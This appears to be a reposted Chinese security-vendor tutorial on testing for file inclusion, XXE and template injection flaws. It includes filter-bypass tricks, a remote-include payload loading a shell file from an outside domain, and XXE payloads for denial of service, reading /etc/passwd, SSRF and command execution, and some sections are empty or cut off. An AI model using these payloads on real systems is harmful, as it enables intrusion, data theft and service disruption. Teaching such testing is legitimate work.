您好,登錄后才能下訂單哦!
昨天給大家普及到了滲透測試中執行命令漏洞的檢測方法,今天抽出時間由我們Sine安全的滲透工程師來講下遇到文件包含漏洞以及模板注入漏洞的檢測方法和防御手段,本文僅參考給有授權滲透測試的正規安全檢測的客戶,讓更多的客戶了解到具體測試的內容,是如何進行全面的網站安全測試。
3.8. 文件包含
3.8.1. 基礎
常見的文件包含漏洞的形式為 <?php include("inc/" . $_GET['file']); ?>
考慮常用的幾種包含方式為
其中日志可以使用SSH日志或者Web日志等多種日志來源測試
3.8.2. 繞過技巧
常見的應用在文件包含之前,可能會調用函數對其進行判斷,一般有如下幾種繞過方式
3.8.2.1. url編碼繞過
如果WAF中是字符串匹配,可以使用url多次編碼的方式可以繞過
3.8.2.2. 特殊字符繞過
3.8.2.3. %00截斷
幾乎是最常用的方法,條件是magic_quotes_gpc打開,而且php版本小于5.3.4。
3.8.2.4. 長度截斷
Windows上的文件名長度和文件路徑有關。具體關系為:從根目錄計算,文件路徑長度最長為259個bytes。
msdn定義“`#define MAX_PATH 260“`,第260個字符為字符串結尾的“`0“`
linux可以用getconf來判斷文件名長度限制和文件路徑長度限制
獲取最長文件路徑長度:getconf PATH_MAX /root 得到4096 獲取最長文件名:getconf NAME_MAX /root 得到255
那么在長度有限的時候,`././././` (n個) 的形式就可以通過這個把路徑爆掉
在php代碼包含中,這種繞過方式要求php版本 < php 5.2.8
3.8.2.5. 偽協議繞過
遠程包含: 要求 allow_url_fopen=On and allow_url_include=On , payload為 ?file=[http|https|ftp]://域名/shell.txt
3.9. XXE
3.9.1. XML基礎
XML 指可擴展標記語言(eXtensible Markup Language),是一種用于標記電子文件使其具有結構性的標記語言,被設計用來傳輸和存儲數據。XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。目前,XML文件作為配置文件(Spring、Struts2等)、文檔結構說明文件(PDF、RSS等)、圖片格式文件(SVG header)應用比較廣泛。
3.9.2. XXE
當允許引用外部實體時,可通過構造惡意的XML內容,導致讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等后果。一般的XXE攻擊,只有在服務器有回顯或者報錯的基礎上才能使用XXE漏洞來讀取服務器端文件,但是也可以通過Blind XXE的方式實現攻擊。
3.9.3. 攻擊方式
3.9.3.1. 拒絕服務攻擊
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>
若解析過程非常緩慢,則表示測試成功,目標站點可能有拒絕服務漏洞。具體攻擊可使用更多層的迭代或遞歸,也可引用巨大的外部實體,以實現攻擊的效果。
3.9.3.2. 文件讀取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
3.9.3.3. SSRF
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>
3.9.3.4. RCE
<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<deion>&xxe;</deion>
</core>
</catalog>
3.9.3.5. XInclude
<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="/file.xml"></xi:incl
3.10 模板注入漏洞
3.10. 模版注入
3.10.1. 簡介
模板引擎用于使用動態數據呈現內容。此上下文數據通常由用戶控制并由模板進行格式化,以生成網頁、電子郵件等。模板引擎通過使用代碼構造(如條件語句、循環等)處理上下文數據,允許在模板中使用強大的語言表達式,以呈現動態內容。如果攻擊者能夠控制要呈現的模板,則他們將能夠注入可暴露上下文數據,甚至在服務器上運行任意命令的表達式。
3.10.2. 測試方法
3.10.3. 測試用例
3.10.4. 目標
3.10.5. 相關屬性
3.10.5.1. __class__
python中的新式類(即顯示繼承object對象的類)都有一個屬性 __class__ 用于獲取當前實例對應的類,例如 "".__class__ 就可以獲取到字符串實例對應的類
3.10.5.2. __mro__
python中類對象的 __mro__ 屬性會返回一個tuple對象,其中包含了當前類對象所有繼承的基類,tuple中元素的順序是MRO(Method Resolution Order) 尋找的順序。
3.10.5.3. __globals__
保存了函數所有的所有全局變量,在利用中,可以使用 __init__ 獲取對象的函數,并通過 __globals__ 獲取 file os 等模塊以進行下一步的利用
3.10.5.4. __subclasses__()
python的新式類都保留了它所有的子類的引用,__subclasses__() 這個方法返回了類的所有存活的子類的引用(是類對象引用,不是實例)。
因為python中的類都是繼承object的,所以只要調用object類對象的 __subclasses__() 方法就可以獲取想要的類的對象。這一節滲透測試講到的這些內容和繞過手法,如果對自己網站不太放心的話可以找專業的網站安全公司來處理解決,國內做的比較好的如Sinesafe,綠盟,啟明星辰等等。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。